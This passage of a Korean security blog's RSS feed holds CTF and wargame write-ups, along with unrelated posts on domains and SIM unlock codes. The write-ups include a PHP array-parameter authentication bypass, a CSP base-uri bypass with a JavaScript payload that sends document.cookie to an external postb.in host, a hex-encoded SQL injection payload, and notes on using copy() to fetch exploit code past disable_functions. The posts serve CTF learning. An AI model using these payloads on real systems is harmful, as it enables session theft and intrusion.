s.add(301 * data[0] + 571 * data[1] + 955 * data[2] - 462 * data[3] - 4 * data[4] - 541 * data[5] - 380 * data[6] + 96 * data[7] - 62 * data[8] - 452 * data[9]== 60199)
s.add(703 * data[0] - 635 * data[1] - 733 * data[2] + 119 * data[3] - 549 * data[4] + 220 * data[5] + 739 * data[6] + 102 * data[7] + 812 * data[8] - 770 * data[9]== -48454)
s.add(207 * data[0] + 426 * data[1] + 324 * data[2] + 403 * data[3] + 149 * data[4] + 257 * data[5] + 765 * data[6] - 368 * data[7] + 707 * data[8] - 221 * data[9]== 202674)

print (s.check())

m = s.model()
print(m)

#for i in range(0, 10):
    #print(m[i])

&quot;&quot;&quot;
sat
[a4 = 111,
 a7 = 111,
 a2 = 108,
 a1 = 101,
 a0 = 104,
 a6 = 48,
 a9 = 47,
 a8 = 48,
 a5 = 92,
 a3 = 108]

a0 = 104,
a1 = 101,
a2 = 108,
a3 = 108,
a4 = 111,
a5 = 92,
a6 = 48,
a7 = 111,
a8 = 48,
a9 = 47,

String.fromCharCode(104,101,108,108,111,92,48,111,48,47)
&quot;hello\0o0/&quot;

&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위와 같이 풀어주면, 아스키코드가 나오고, 자바스크립트 콘솔을 통해 플래그를 얻을 수 있었습니다.&lt;/p&gt;</description>
      <category>WarGame or CTF/CTF</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/71</guid>
      <comments>https://yunseoks.tistory.com/71#entry71comment</comments>
      <pubDate>Fri, 8 Jan 2021 11:54:42 +0900</pubDate>
    </item>
    <item>
      <title>2019 사이버 작전 경연 대회 본선 Pistol Encyclopedia (2019 CYBEROC FINAL)</title>
      <link>https://yunseoks.tistory.com/65</link>
      <description>&lt;p&gt;웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;howtobuy.php&lt;/b&gt;로 끝나는 &lt;b&gt;페이지&lt;/b&gt;에서 아래와 같은 &lt;b&gt;문구&lt;/b&gt;를 발견하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crE4G4/btqDmWsqJA0/0A0k31AiYZTYSsdpImDOfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crE4G4/btqDmWsqJA0/0A0k31AiYZTYSsdpImDOfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crE4G4/btqDmWsqJA0/0A0k31AiYZTYSsdpImDOfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrE4G4%2FbtqDmWsqJA0%2F0A0k31AiYZTYSsdpImDOfK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;총기&lt;/b&gt;를 &lt;b&gt;구매&lt;/b&gt;하기 위해서는, &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot;이라는 &lt;b&gt;권한&lt;/b&gt;이 필요하다는 사실을 &lt;b&gt;문구&lt;/b&gt;를 통해서 알 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsxLUl/btqDj2OkOhr/K04Gx8hDSfFRKyErvVQdX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsxLUl/btqDj2OkOhr/K04Gx8hDSfFRKyErvVQdX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsxLUl/btqDj2OkOhr/K04Gx8hDSfFRKyErvVQdX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsxLUl%2FbtqDj2OkOhr%2FK04Gx8hDSfFRKyErvVQdX1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;페이지 소스 보기를&lt;/b&gt; 통해서, &lt;b&gt;주석&lt;/b&gt;을 발견할 수 있었고, &lt;b&gt;주석&lt;/b&gt;을 통해서 &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot; &lt;b&gt;권한&lt;/b&gt;을 얻을 수 있을 수 있는 힌&lt;b&gt;트&lt;/b&gt;가 될 것이라고 판단하여, 접속해봤습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KV2PR/btqDjHKrWnj/kqBR8c7QbCnccgATfjrULK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KV2PR/btqDjHKrWnj/kqBR8c7QbCnccgATfjrULK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KV2PR/btqDjHKrWnj/kqBR8c7QbCnccgATfjrULK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKV2PR%2FbtqDjHKrWnj%2FkqBR8c7QbCnccgATfjrULK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;해당 페이지는 마찬가지로, &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot; 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.&lt;br /&gt;또한 &lt;b&gt;주석&lt;/b&gt;에는 호기심을 자극하도록 되어있었습니다. (??)&lt;/p&gt;
&lt;pre id=&quot;code_1586544038437&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if (basename(__FILE__) == basename($_SERVER[&quot;SCRIPT_FILENAME&quot;])
    &amp;amp;&amp;amp; isset($_GET[&quot;remote_debug&quot;]))
  die(show_source(__FILE__));

if(!isset($_SESSION))
  session_start();

function is_special() {
  if(!isset($_SESSION[&quot;perm&quot;]))
    return false;
  return $_SESSION[&quot;perm&quot;];
}


if(isset($_GET[&quot;cred_plain&quot;])) {
  $cred = $_GET[&quot;cred_plain&quot;];
  $avail_users = [
    &quot;admin&quot; =&amp;gt; &quot;f6566fbef52560d383f5aa6a100697d8&quot;,
    &quot;manager&quot; =&amp;gt; &quot;ab1f6495fcbec4f0ea50425cc5539672&quot;,
    &quot;guest&quot; =&amp;gt; false //Guest doesn't need to have credential!
  ];

  if(strpos($_SERVER[&quot;QUERY_STRING&quot;], &quot;cred_plain&quot;) || // During development, you can't get credential with cred_plain
      strpos($_SERVER[&quot;QUERY_STRING&quot;], &quot;[&quot;))            // Don't cheat!
    die(&quot;Don't cheat&quot;);

  if(in_array(md5($cred), $avail_users))
    $_SESSION[&quot;perm&quot;] = true;
  else
    $_SESSION[&quot;perm&quot;] = false;
}

if (basename(__FILE__) == basename($_SERVER[&quot;SCRIPT_FILENAME&quot;])) {
  echo &quot;&amp;lt;h4&amp;gt;You are &quot;.(is_special() ? &quot;special&quot; : &quot;not special&quot;).&quot; now &amp;lt;/h4&amp;gt;&quot;;
}
?&amp;gt;
&amp;lt;!-- ?remote_debug=1 --&amp;gt;
1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;그래서 들어가봤고, 위와 같은 &lt;b&gt;코드&lt;/b&gt;를 볼 수 있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;b&gt;cred_plain&lt;/b&gt; 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 &lt;b&gt;코드&lt;/b&gt;를 통해 알 수 있었고,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;아래 코드를 참조해서, &lt;b&gt;스페셜&lt;/b&gt;이 될 수 있는&lt;b&gt; 조건&lt;/b&gt;을 알 수 있었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1586544134704&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  if(in_array(md5($cred), $avail_users))
    $_SESSION[&quot;perm&quot;] = true;
  else
    $_SESSION[&quot;perm&quot;] = false;

function is_special() {
  if(!isset($_SESSION[&quot;perm&quot;]))
    return false;
  return $_SESSION[&quot;perm&quot;];
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 조건식을 &lt;b&gt;충족&lt;/b&gt;을 시킬 경우, &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot; &lt;b&gt;권한&lt;/b&gt;을 얻을 수 있었습니다.&lt;/p&gt;
&lt;p&gt;그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!&lt;/p&gt;
&lt;pre id=&quot;code_1586544177198&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if(in_array(md5($cred), $avail_users))&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.&lt;/p&gt;
&lt;p&gt;그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1586544276363&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이렇게 만약 요청을 보낼 경우, &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot; 권한을 얻을 수 있었습니다.&lt;/p&gt;
&lt;p&gt;이제 &quot;&lt;b&gt;스페셜&lt;/b&gt;&quot; 권한을 얻었으니, 총기를 구매할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eq69kr/btqDn0ODvrZ/GOy6OsUAtea7imzO5hgLOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eq69kr/btqDn0ODvrZ/GOy6OsUAtea7imzO5hgLOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eq69kr/btqDn0ODvrZ/GOy6OsUAtea7imzO5hgLOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feq69kr%2FbtqDn0ODvrZ%2FGOy6OsUAtea7imzO5hgLOK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.&lt;/p&gt;
&lt;p&gt;2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsTlaW/btqDliXdftQ/VMrVN1OpSdIMRnvfU7wkw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsTlaW/btqDliXdftQ/VMrVN1OpSdIMRnvfU7wkw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsTlaW/btqDliXdftQ/VMrVN1OpSdIMRnvfU7wkw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsTlaW%2FbtqDliXdftQ%2FVMrVN1OpSdIMRnvfU7wkw1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;해당 사이트에서는 &lt;b&gt;CSP(Content Security Policy)&lt;/b&gt;가 존재했으며, &lt;b&gt;base-uri&lt;/b&gt;같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.&lt;/p&gt;
&lt;p&gt;사이트에 있는 스크립트를 만약 &quot;abc.com/static/js/jquery.min.js&quot;라는 부분이 있다면, base tag에 의해서, &quot;yunseok.kr/static/js/jquery.min.js&quot;로 요청하는 꼴이 됩니다.&lt;/p&gt;
&lt;p&gt;그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 &lt;b&gt;악성 스크립트&lt;/b&gt;를 &lt;b&gt;전파&lt;/b&gt;한다면, 그거야 말로 파급력은 대단할 것입니다.&lt;/p&gt;
&lt;p&gt;저는 아래와 같이 &lt;b&gt;코드&lt;/b&gt;를 업로드했습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1586544892595&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;var payload = document.cookie;
var nonce = document.querySelector(&quot;script&quot;).nonce;

var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`

var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)

document.body.appendChild(s);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;3. Pistol license&lt;/b&gt; - 해당 파일같은 경우 아무거나 보내도 무관했습니다.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;4. Proof of work&lt;/b&gt; - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1586544664914&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from hashlib import sha1

def get_hash(target):
    for val in range(10000000):
        if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
            print(val)
            break


stra = input()
get_hash(stra)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위와 같이 해서 &quot;&lt;b&gt;Send Request&lt;/b&gt;&quot; 버튼을 눌러서, &lt;b&gt;어드민&lt;/b&gt;에게 &lt;b&gt;요청&lt;/b&gt;이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 &lt;b&gt;악성 스크립트&lt;/b&gt;가 &lt;b&gt;실행&lt;/b&gt; 되어, &lt;b&gt;Flag&lt;/b&gt;가 우리에게 올 것입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qOq63/btqDkAEakUQ/zZOQF2Gj8qClAKxfLIkTGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qOq63/btqDkAEakUQ/zZOQF2Gj8qClAKxfLIkTGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qOq63/btqDkAEakUQ/zZOQF2Gj8qClAKxfLIkTGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqOq63%2FbtqDkAEakUQ%2FzZOQF2Gj8qClAKxfLIkTGK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그렇게 해서, &quot;&lt;span&gt;&lt;b&gt;th1s1sv3rys3cr3tm4g1c0fc55&lt;/b&gt;&quot; 라는 값을 얻을 수 있었고, 이건 바로 플래그다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Flag is &lt;b&gt;FLAG{&lt;span&gt;th1s1sv3rys3cr3tm4g1c0fc55}&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;</description>
      <category>WarGame or CTF/CTF</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/65</guid>
      <comments>https://yunseoks.tistory.com/65#entry65comment</comments>
      <pubDate>Sun, 12 Apr 2020 22:01:27 +0900</pubDate>
    </item>
    <item>
      <title>PHP Disable_Functions Bypass (copy 함수를 막지 않았을 경우)</title>
      <link>https://yunseoks.tistory.com/63</link>
      <description>&lt;pre id=&quot;code_1585060644940&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;copy(remote file, local file);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의외로 다양한 CTF에서 eval() 가능하여, 일부 함수를 호출하려고 했을 때 disable_functions 로 인해서 제한적인 상황에서 내가 원하는 코드를 실행을 하기 위해서는 막히지 않은 함수를 통해서 해결을 해야하기도 합니다.&lt;br /&gt;&lt;br /&gt;이러한 막히지 않은 함수를 찾기는 어렵고, 시간은 부족한데 이때 copy() 라는 함수와 서버 내에서 구동되고 있는 PHP 버전이 Disable Functions 와 관련한 취약점이 있다면, copy() 라는 함수를 통해서 취약점 PoC 코드를 다운로드를 받을 수 있습니다.&lt;/p&gt;</description>
      <category>Trick/Web</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/63</guid>
      <comments>https://yunseoks.tistory.com/63#entry63comment</comments>
      <pubDate>Tue, 24 Mar 2020 23:39:55 +0900</pubDate>
    </item>
    <item>
      <title>도메인이 만료일이 아님에도 DNS 전파가 안될 경우</title>
      <link>https://yunseoks.tistory.com/62</link>
      <description>&lt;p&gt;실제로 겪었던 경험이자, &lt;b&gt;whois&lt;/b&gt;에서 나오는 &lt;b&gt;status 정보&lt;/b&gt;가 유용하다는 사실을 알리고 싶어, 이 글을 작성하게 되었습니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;도메인이 &lt;b&gt;만료일&lt;/b&gt;이 지나지 않았으며, 제때 연장을 하였으나, &lt;b&gt;ClientHold&lt;/b&gt;가 걸려 &lt;b&gt;DNS 전파&lt;/b&gt;가 안되었던 적이 &lt;b&gt;발생&lt;/b&gt;했었다.&lt;br /&gt;해당 부분에 대해서는 &lt;b&gt;다른 계정으로 도메인을 이전&lt;/b&gt;을 하였을 때 자연스럽게 풀렸었다.&lt;br /&gt;왜? 다른 계정으로 &lt;b&gt;이전&lt;/b&gt;을 하였을때 바로 풀렸는지가 의문이다. 그리고 해당 문제가 발생했었던 &lt;b&gt;도메인 등록 대행 업체&lt;/b&gt;를 최대한 믿고 거르기로 했다.&lt;/p&gt;
&lt;p&gt;나중에 한번 더 자세히 글을 작성해보도록 할 예정이다! :)&lt;/p&gt;</description>
      <category>잡담</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/62</guid>
      <comments>https://yunseoks.tistory.com/62#entry62comment</comments>
      <pubDate>Mon, 16 Mar 2020 06:40:19 +0900</pubDate>
    </item>
    <item>
      <title>U+ USIM PUK 온라인에서 조회하기</title>
      <link>https://yunseoks.tistory.com/61</link>
      <description>&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[홈페이지(PC) &amp;gt; 내 정보 관리 &amp;gt; 가입 서비스 조회 및 변경 &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내 가입 정보 &amp;gt; 모바일 자세히 보기 &amp;gt; 휴대폰 가입 정보 &amp;gt; 유심 잠금 해제 번호(PUK) 조회하기]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;코너를 통하여 유심 잠금 해제 번호(PUK) 확인이 가능하니 안심하셔도 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;※ 본인 인증(범용공인인증서 또는 아이핀) 필요&lt;/span&gt;&lt;/p&gt;</description>
      <category>Story/IT Information</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/61</guid>
      <comments>https://yunseoks.tistory.com/61#entry61comment</comments>
      <pubDate>Thu, 20 Feb 2020 11:03:16 +0900</pubDate>
    </item>
    <item>
      <title>PHP 7.3 disable_functions Bypass</title>
      <link>https://yunseoks.tistory.com/52</link>
      <description>&lt;p&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html&quot;&gt;https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html&lt;/a&gt;&lt;/p&gt;</description>
      <category>Trick/Web</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/52</guid>
      <comments>https://yunseoks.tistory.com/52#entry52comment</comments>
      <pubDate>Fri, 11 Oct 2019 03:41:44 +0900</pubDate>
    </item>
    <item>
      <title>[Lord of SQL Injection] goblin</title>
      <link>https://yunseoks.tistory.com/50</link>
      <description>&lt;pre id=&quot;code_1570449659416&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://www.wechall.net
&amp;lt;?php 
  include &quot;./config.php&quot;; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit(&quot;No Hack ~_~&quot;); 
  if(preg_match('/\'|\&quot;|\`/i', $_GET[no])) exit(&quot;No Quotes ~_~&quot;); 
  $query = &quot;select id from prob_goblin where id='guest' and no={$_GET[no]}&quot;; 
  echo &quot;&amp;lt;hr&amp;gt;query : &amp;lt;strong&amp;gt;{$query}&amp;lt;/strong&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;br&amp;gt;&quot;; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo &quot;&amp;lt;h2&amp;gt;Hello {$result[id]}&amp;lt;/h2&amp;gt;&quot;; 
  if($result['id'] == 'admin') solve(&quot;goblin&quot;);
  highlight_file(__FILE__); 
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;no에 GET을 받고 있다. 하지만 Quotes를 차단하는 것으로 보인다. 그렇다면 hex로 뚜까 패주면 된다!&lt;br /&gt;No값에 0x27%20or%20id=0x61646D696E%23&lt;br /&gt;&lt;br /&gt;0x27 = '&amp;nbsp;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;0x61646D696E = admin&lt;br /&gt;&lt;/span&gt;%23 = #&lt;/p&gt;</description>
      <category>WarGame or CTF/Wargame</category>
      <author>YunSeok, Hong</author>
      <guid isPermaLink="true">https://yunseoks.tistory.com/50</guid>
      <comments>https://yunseoks.tistory.com/50#entry50comment</comments>
      <pubDate>Mon, 7 Oct 2019 21:02:44 +0900</pubDate>
    </item>
  </channel>
</rss>